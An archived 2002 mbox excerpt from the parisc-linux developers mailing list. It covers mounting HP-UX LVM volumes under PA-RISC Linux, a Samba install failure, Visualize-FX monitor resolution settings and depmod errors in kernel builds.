List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14386

--------------010301030109000208080802
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I had a really great idea - Use LINUX to install a HP-UX bootimage (and 
Solaris and IRIX and AIX and . . .). Theoretically you can boot from a 
LINUX (x86) server via tftp (stateless protocol), and then lay down an 
arbitrary image on the boot drive (also the CD install procedure would 
be the same for HPUX, Solaris, etc.). I knew that HP would be the 
toughest to get this working because of its logical volumes and "soft" 
partitions - and I was right.

   1.  I tried using sistina.com's LVM to try to mount a HPUX volume -
      and found out after testing (and reading from this list) that the
      two LVMs are NOT the same, nor even similar - except for the
      executable names. 
   2. I also tried mounting a HPUX full-disk partition, and palinux
      GRONKED and couldn't even recognize that the disk had a partition.
   3. I tried loading the HPUX executables for vgscan, vg-pv-lv
      whatever, to see if they would work. No dice, if they were
      dynamically linked, I might be able to load the corresponding
      library to get them to work - but alas, they are statically
      linked. I get mmap failures when I try to use them.
   4. The "reverse" of these procedures (mounting the palinux partitions
      under HPUX) yielded no successes either.

Is there a way to do this? Has anyone had success in mounting HPUX 
volumes/partitions? (JFS or HFS). Is there a plan to make this work?

It would be really nice to be able to replace IgniteUX, Jumpstart, 
RoboInst and our home-brew PC net installer (plus all the CD installs) 
with a single, open-source product. I would even put it on SourceForge!

--
Chris Rampson
UNIX Server Specialist

--------------010301030109000208080802
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
I had a really great idea - Use LINUX to install a HP-UX bootimage (and Solaris
and IRIX and AIX and . . .). Theoretically you can boot from a LINUX (x86)
server via tftp (stateless protocol), and then lay down an arbitrary image
on the boot drive (also the CD install procedure would be the same for HPUX,
Solaris, etc.). I knew that HP would be the toughest to get this working
because of its logical volumes and "soft" partitions - and I was right.<br>
<ol>
  <li>&nbsp;I tried using sistina.com's LVM to try to mount a HPUX volume - and
found out after testing (and reading from this list) that the two LVMs are
NOT the same, nor even similar - except for the executable names.&nbsp;</li>
  <li>I also tried mounting a HPUX full-disk partition, and palinux GRONKED
and couldn't even recognize that the disk had a partition.</li>
  <li>I tried loading the HPUX executables for vgscan, vg-pv-lv whatever,
to see if they would work. No dice, if they were dynamically linked, I might
be able to load the corresponding library to get them to work - but alas,
they are statically linked. I get mmap failures when I try to use them.</li>
  <li>The "reverse" of these procedures (mounting the palinux partitions
under HPUX) yielded no successes either.</li>
</ol>
Is there a way to do this? Has anyone had success in mounting HPUX volumes/partitions?
(JFS or HFS). Is there a plan to make this work?<br>
<br>
It would be really nice to be able to replace IgniteUX, Jumpstart, RoboInst
and our home-brew PC net installer (plus all the CD installs) with a single,
open-source product. I would even put it on SourceForge!<br>
<br>
--<br>
Chris Rampson<br>
UNIX Server Specialist<br>
</body>
</html>

--------------010301030109000208080802--




From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mounting HPUX volumes/disks under PA-LINUX
Date: 20 Mar 2002 10:08:43 -0500
Organization: mkp.net
Lines: 45
Approved: news@gmane.org
Message-ID: <yq1k7s7nuo4.fsf@austin.mkp.net>
References: <200203201423.g2KENo323881@dymwsm09.mailwatch.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621173 5056 80.91.229.3 (22 Nov 2014 01:52:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Rampson <crampson@ford.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 20 08:08:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4F90482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Mar 2002 08:08:47 -0700 (MST)
Original-Received: from localhost.localdomain ([127.0.0.1] helo=austin.mkp.net)
	by rover with esmtp (Exim 3.33 #1)
	id 16nhhk-0004ef-00; Wed, 20 Mar 2002 10:08:45 -0500
Original-Received: (from mkp@localhost)
	by austin.mkp.net (8.11.6/8.11.6) id g2KF8hn19418;
	Wed, 20 Mar 2002 10:08:43 -0500
X-Authentication-Warning: austin.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <200203201423.g2KENo323881@dymwsm09.mailwatch.com>
Original-Lines: 43
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14387

>>>>> "Chris" == Chris Rampson <crampson@ford.com> writes:

Chris> 1. I tried using sistina.com's LVM to try to mount a HPUX
Chris>    volume - and found out after testing (and reading from this
Chris>    list) that the two LVMs are NOT the same, nor even similar -
Chris>    except for the executable names.

Linux LVM is modelled after HP/UX'. But they don't share a common
codebase.


Chris> 2. I also tried mounting a HPUX full-disk partition, and
Chris>    palinux GRONKED and couldn't even recognize that the disk
Chris>    had a partition.

Huhm.  Odd.  That used to work.


Chris> 3. I tried loading the HPUX executables for vgscan, vg-pv-lv
Chris>    whatever, to see if they would work. No dice, if they were
Chris>    dynamically linked, I might be able to load the
Chris>    corresponding library to get them to work - but alas, they
Chris>    are statically linked. I get mmap failures when I try to use
Chris>    them.

The userland utilities are not going to help you without being able to
talk to the HP/UX kernel LVM driver.


Chris> Is there a way to do this? Has anyone had success in mounting
Chris> HPUX volumes/partitions? (JFS or HFS). Is there a plan to make
Chris> this work?

We can read HFS filesystems.  JFS (aka VxFS) may work now.  I sent
Christoph Hellwig some fs images to play with, anyway.

You can't access HP LVM volumes under Linux and nobody is working on
fixing that.  Given a bit of header file snooping and the EVMS plugin
infrastructure it should be too hard to do.

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME



From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "P. Strik" <p.strik@astrik.myweb.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] samba doen't want to work
Date: Wed, 20 Mar 2002 17:57:59 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <001b01c1d030$71097f60$0300a8c0@pleun>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0018_01C1D038.C599C6E0"
X-Trace: ger.gmane.org 1416621173 5058 80.91.229.3 (22 Nov 2014 01:52:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:53 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 20 08:36:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from emout1.wish.nl (emout1.wish.nl [212.123.129.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42736482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Mar 2002 08:36:15 -0700 (MST)
Original-Received: from mail3.inside.servers (mail3.INSIDE.servers [10.1.0.7])
	by emout1.wish.nl (Postfix) with SMTP id 19F52147C7D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Mar 2002 17:06:58 +0100 (CET)
Original-Received: (qmail 87530 invoked from network); 20 Mar 2002 15:35:16 -0000
Original-Received: from p1055.nl.wish.net (HELO pleun) ([212.123.142.31]) (envelope-sender <p.strik@astrik.myweb.nl>)
          by mail3.outside.servers (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 20 Mar 2002 15:35:16 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14388

This is a multi-part message in MIME format.

------=_NextPart_000_0018_01C1D038.C599C6E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi Parisc users,

I have two problems, Installing samba 2.2.2 and executing a samba 2.2.3a =
command=20

Samba 2.2.2 - CD

I use the latest parisc linux version, when i try to install samba i =
receive when linux is trying to reach the cd-rom (other programs don't =
give that error) the kernel fault 26, I have a several HP Parisc =
workstations but this error only comes up at an HP Visualize B 180 L. I =
try a several things to avoid this strange problem, re-install linux, =
don't using dselect anymore but with apt-get install samba, nothing =
works every time the same fault.=20

Samba 2.2.3a - ftp.samba.org

Because 2.2.2 won't work I try to install the latest samba version, but =
it also won't work because when I try to execute some commands, like =
smbpasswd and testparm Linux says that smb isn't a bash command (or =
something like that).=20

I don't have a solution for these problems but I hope someone have!

Regards, Peter=20

------=_NextPart_000_0018_01C1D038.C599C6E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi Parisc users,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have two problems, Installing samba =
2.2.2 and=20
executing a samba 2.2.3a command </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><U>Samba 2.2.2 - CD</U></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I use the latest parisc linux version, =
when i try=20
to install samba i receive when linux is trying to reach the cd-rom=20
(other&nbsp;programs don't give that error)&nbsp;the kernel fault 26, I =
have a=20
several HP Parisc workstations but this error only comes up at an HP =
Visualize B=20
180 L. I try a several things to avoid this strange problem, re-install =
linux,=20
don't using dselect anymore but with apt-get install samba, nothing =
works every=20
time the same fault. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><U>Samba 2.2.3a - <A=20
href=3D"ftp://ftp.samba.org">ftp.samba.org</A></U></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Because 2.2.2 won't work I try to =
install the=20
latest samba version, but it also won't work because when I try to =
execute some=20
commands, like smbpasswd and testparm Linux says that smb isn't a bash =
command=20
(or something like that). </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I don't have&nbsp;a solution for these =
problems but=20
I hope someone have!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards, Peter =
</FONT></DIV></BODY></HTML>

------=_NextPart_000_0018_01C1D038.C599C6E0--




From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PA-RISC 0.9.3+C200+Visualize-EG+2.4.18-pa05
 = working X!
Date: Wed, 20 Mar 2002 22:01:11 +0000 (GMT)
Lines: 76
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0203202015180.5453-100000@sal.ucc.ie>
References: <20020315044546.C7D58483E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621173 5061 80.91.229.3 (22 Nov 2014 01:52:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:53 +0000 (UTC)
Cc: John <hplinux@eagle.grdl.noaa.gov>,
	<parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 20 15:01:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98A03482A
	for <parisc-linux@parisc-linux.org>; Wed, 20 Mar 2002 15:01:29 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id WAA24298;
	Wed, 20 Mar 2002 22:02:35 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020315044546.C7D58483E@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14389

On Thu, 14 Mar 2002, Grant Grundler wrote:

> John wrote:
> > I wanted to share the good news that Grant's recent patch to "entry.S"
> ...
> > Thanks Grant!
>
> That's great news!
>
> But Thomas Bogendoerf should get most of the credit for figuring
> out the problem and fix. I just implemented what he said.
>
> BTW, I've modified the patch a bit (removed an un-needed depdi)
> and it's still not committed yet. I'd like to let Thomas
> commit it himself since he really did the hard part.

I also downloaded and patched a 2.4.18-pa5 kernel with it,
(just a simple conflict with the kernel version number in
 the Makefile appeared, easy to solve).

It works on my C240 with a FX2 card. Well, it now recognizes
the gfx card at startup and it seems to initialize it, but since
I currently don't have a proper monitor, I can't tell you whether
gfx is working or not :-/
(BTW, I use the serial console on the C240, connected to a FreeBSD
 notebook)
At least the C240 is still running, so the patch doesn't do a harm ;)

Actually I HAVE a monitor (a 15" LCD) but it's max resolultion is about
1024x786/70Hz. Since the FX/2 just supports 72 and 75Hz in
the video selection menu at bootup, the monitor just tells me
"signal is out of sync range".

I have mentioned this before (18 Dec 2001) in the mailing-list,
and I was asking how and if you can change the FX-graphics to
a custom resolution (mode 6). Grant replied

> Yes. I don't know exactly how though. I'd look in the User's Guide
> (might be available on docs.hp.com).

unfortunately I haven't found any information except this:

(http://docs.hp.com/cgi-bin/fsearch/framedisplay?top=/hpux/onlinedocs/B2355-90142/B2355-90142_top.html&con=/hpux/onlinedocs/B2355-90142/00/00/42-con.html&toc=/hpux/onlinedocs/B2355-90142/00/00/42-toc.html&searchterms=refresh&queryid=20020320-135018)


-------+++++++++========= snip =========++++++++-------

Changing the Monitor Type
=========================

A configuration tool is available to change the monitor type on HP
VISUALIZE-FX devices. Monitor resolution, refresh rate and stereo mode
settings may be configured using the setmon tool. To change the monitor
type, the setmon command can be executed directly or done through the
SAM system administration tool.

The setmon executable is located at /opt/graphics/common/bin/setmon.
Under SAM this component is located under the top-level "Display"
folder, next to the "X Server Configuration" icon.

-------+++++++++========= snip =========++++++++-------


It seems this utility exists only for the Visualize-FX cards.
Moreover I don't know whether this affects only X (on HP/UX).

Does anybody have information about this utility ?
(I don't have HP/UX, so I can try it ...)
Perhaps it is possible to port/run it. Or does anybody has information
how to change the custom resolution on FX-Cards (without this utility) ?

Thanks in advance, max!





From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP support
Date: Wed, 20 Mar 2002 22:16:46 +0000 (GMT)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0203202209250.5453-100000@sal.ucc.ie>
References: <20020306010541.A8BB84853@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621174 5065 80.91.229.3 (22 Nov 2014 01:52:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:54 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	<parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 20 15:16:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DCEF482A
	for <parisc-linux@parisc-linux.org>; Wed, 20 Mar 2002 15:16:56 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id WAA06361;
	Wed, 20 Mar 2002 22:18:10 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020306010541.A8BB84853@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14390

On Tue, 5 Mar 2002, Grant Grundler wrote:

> Jeremy Drake wrote:

[...]

> > Also, I am unable to build any kernels myself.  I get a bunch of depmod
> > errors, like these
> >
> > depmod: Unhandled relocation of type 74 for printk_Rsmp_dd132261
> > depmod: Unhandled relocation of type 74 for usb_deregister_Rsmp_c6f994d5
>
> I've seen this when CONFIG_PA20 is enabled but CONFIG_PARISC64 is not.
> Don't know if that's your problem, but it's worth checking.
>
> You don't need to enable CONFIG_PA20 in order to run a 32-bit kernel
> on any system that will support 32-bit kernels (A500/L-class only
> support 64-bit kernel).

I can confirm this. I recompiled (3 times) linux-2.4.18-pa5, and I was
just able to compile a static kernel without error message.
The message will occur if you compile a kernel with modules. It's the
depmod command in "make modules_install" that causes the trouble.

But obviously the modules are created and installed. If you do a
simple "depmod -a" (without any additional arguments as in
"make modules_install"), it doesn't complain.
And it also seems that the modules work (haven't tested this too much)!

greetings max




From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjen Hommersom <arjenh@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PA-RISC 0.9.3+C200+Visualize-EG+2.4.18-pa05
 = working X!
Date: Thu, 21 Mar 2002 00:10:28 +0100 (CET)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0203210007210.25956-100000@gatekeeper>
References: <Pine.LNX.4.44.0203202015180.5453-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621174 5071 80.91.229.3 (22 Nov 2014 01:52:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 20 16:09:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from amsfep15-int.chello.nl (amsfep15-int.chello.nl [213.46.243.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26032482A
	for <parisc-linux@parisc-linux.org>; Wed, 20 Mar 2002 16:09:20 -0700 (MST)
Original-Received: from gatekeeper ([213.46.122.143]) by amsfep15-int.chello.nl
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020320230912.BQZL25529.amsfep15-int.chello.nl@gatekeeper>;
          Thu, 21 Mar 2002 00:09:12 +0100
Original-Received: from arjenh (helo=localhost)
	by gatekeeper with local-esmtp (Exim 3.12 #1 (Debian))
	id 16npDw-0006qu-00; Thu, 21 Mar 2002 00:10:28 +0100
X-Sender: arjenh@gatekeeper
In-Reply-To: <Pine.LNX.4.44.0203202015180.5453-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14391


On Wed, 20 Mar 2002, M. Grabert wrote:

> On Thu, 14 Mar 2002, Grant Grundler wrote:
> 
> > John wrote:
> > > I wanted to share the good news that Grant's recent patch to "entry.S"
> > ...
> > > Thanks Grant!
> >
> > That's great news!
> >
> > But Thomas Bogendoerf should get most of the credit for figuring
> > out the problem and fix. I just implemented what he said.
> >
> > BTW, I've modified the patch a bit (removed an un-needed depdi)
> > and it's still not committed yet. I'd like to let Thomas
> > commit it himself since he really did the hard part.
> 
> I also downloaded and patched a 2.4.18-pa5 kernel with it,
> (just a simple conflict with the kernel version number in
>  the Makefile appeared, easy to solve).
> 
> It works on my C240 with a FX2 card. Well, it now recognizes
> the gfx card at startup and it seems to initialize it, but since
> I currently don't have a proper monitor, I can't tell you whether
> gfx is working or not :-/
> (BTW, I use the serial console on the C240, connected to a FreeBSD
>  notebook)
> At least the C240 is still running, so the patch doesn't do a harm ;)

It doesnt crash my C240 either, but unfortunately no fb is working. I
guess this doesn't work for the FX2 graphics cards..

Arjen Hommersom





From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PA-RISC 0.9.3+C200+Visualize-EG+2.4.18-pa05 = working X!
Date: Thu, 21 Mar 2002 00:03:47 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20020321070347.E4599482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0203202015180.5453-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621174 5075 80.91.229.3 (22 Nov 2014 01:52:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:54 +0000 (UTC)
Cc: John <hplinux@eagle.grdl.noaa.gov>, parisc-linux@parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 21 00:03:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E4599482A; Thu, 21 Mar 2002 00:03:47 -0700 (MST)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Wed, 20 Mar 2002 22:01:11 GMT." <Pine.LNX.4.44.0203202015180.5453-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14392

"M. Grabert" wrote:
> I have mentioned this before (18 Dec 2001) in the mailing-list,
> and I was asking how and if you can change the FX-graphics to
> a custom resolution (mode 6). Grant replied
> 
> > Yes. I don't know exactly how though. I'd look in the User's Guide
> > (might be available on docs.hp.com).
> 
> unfortunately I haven't found any information except this:

hmm...I was looking for the method using PDC prompt.
"mon" I thought let one do such customization but I don't know
the syntax. Am I on the wrong track or does someone have
the docs for this?

(Note that mucking with timings can break your HW if you mess it up)

hth,
grant



From - Thu Nov 08 21:22:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP support
Date: Thu, 21 Mar 2002 00:08:51 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020321070852.027D74843@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0203202209250.5453-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621175 5079 80.91.229.3 (22 Nov 2014 01:52:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
